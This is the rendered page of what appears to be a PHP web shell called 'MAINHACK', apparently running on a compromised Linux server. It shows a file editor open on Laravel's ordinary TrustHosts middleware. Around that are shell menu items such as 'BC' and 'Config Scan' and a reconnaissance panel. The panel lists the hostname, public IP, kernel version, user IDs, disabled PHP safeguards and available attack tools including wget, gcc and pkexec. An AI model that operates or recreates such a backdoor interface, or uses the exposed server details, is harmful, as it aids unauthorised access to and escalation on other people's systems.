[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: TrustHosts.php
<?php namespace Illuminate\Http\Middleware; use Illuminate\Contracts\Foundation\Application; use Illuminate\Http\Request; class TrustHosts { /** * The application instance. * * @var \Illuminate\Contracts\Foundation\Application */ protected $app; /** * The trusted hosts that have been configured to always be trusted. * * @var array<int, string>|(callable(): array<int, string>)|null */ protected static $alwaysTrust; /** * Indicates whether subdomains of the application URL should be trusted. * * @var bool|null */ protected static $subdomains; /** * Create a new middleware instance. * * @param \Illuminate\Contracts\Foundation\Application $app * @return void */ public function __construct(Application $app) { $this->app = $app; } /** * Get the host patterns that should be trusted. * * @return array */ public function hosts() { if (is_null(static::$alwaysTrust)) { return [$this->allSubdomainsOfApplicationUrl()]; } $hosts = match (true) { is_array(static::$alwaysTrust) => static::$alwaysTrust, is_callable(static::$alwaysTrust) => call_user_func(static::$alwaysTrust), default => [], }; if (static::$subdomains) { $hosts[] = $this->allSubdomainsOfApplicationUrl(); } return $hosts; } /** * Handle the incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return \Illuminate\Http\Response */ public function handle(Request $request, $next) { if ($this->shouldSpecifyTrustedHosts()) { Request::setTrustedHosts(array_filter($this->hosts())); } return $next($request); } /** * Specify the hosts that should always be trusted. * * @param array<int, string>|(callable(): array<int, string>) $hosts * @param bool $subdomains * @return void */ public static function at(array|callable $hosts, bool $subdomains = true) { static::$alwaysTrust = $hosts; static::$subdomains = $subdomains; } /** * Determine if the application should specify trusted hosts. * * @return bool */ protected function shouldSpecifyTrustedHosts() { return ! $this->app->environment('local') && ! $this->app->runningUnitTests(); } /** * Get a regular expression matching the application URL and all of its subdomains. * * @return string|null */ protected function allSubdomainsOfApplicationUrl() { if ($host = parse_url($this->app['config']->get('app.url'), PHP_URL_HOST)) { return '^(.+\.)?'.preg_quote($host).'$'; } } /** * Flush the state of the middleware. * * @return void */ public static function flushState() { static::$alwaysTrust = null; static::$subdomains = null; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.67 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002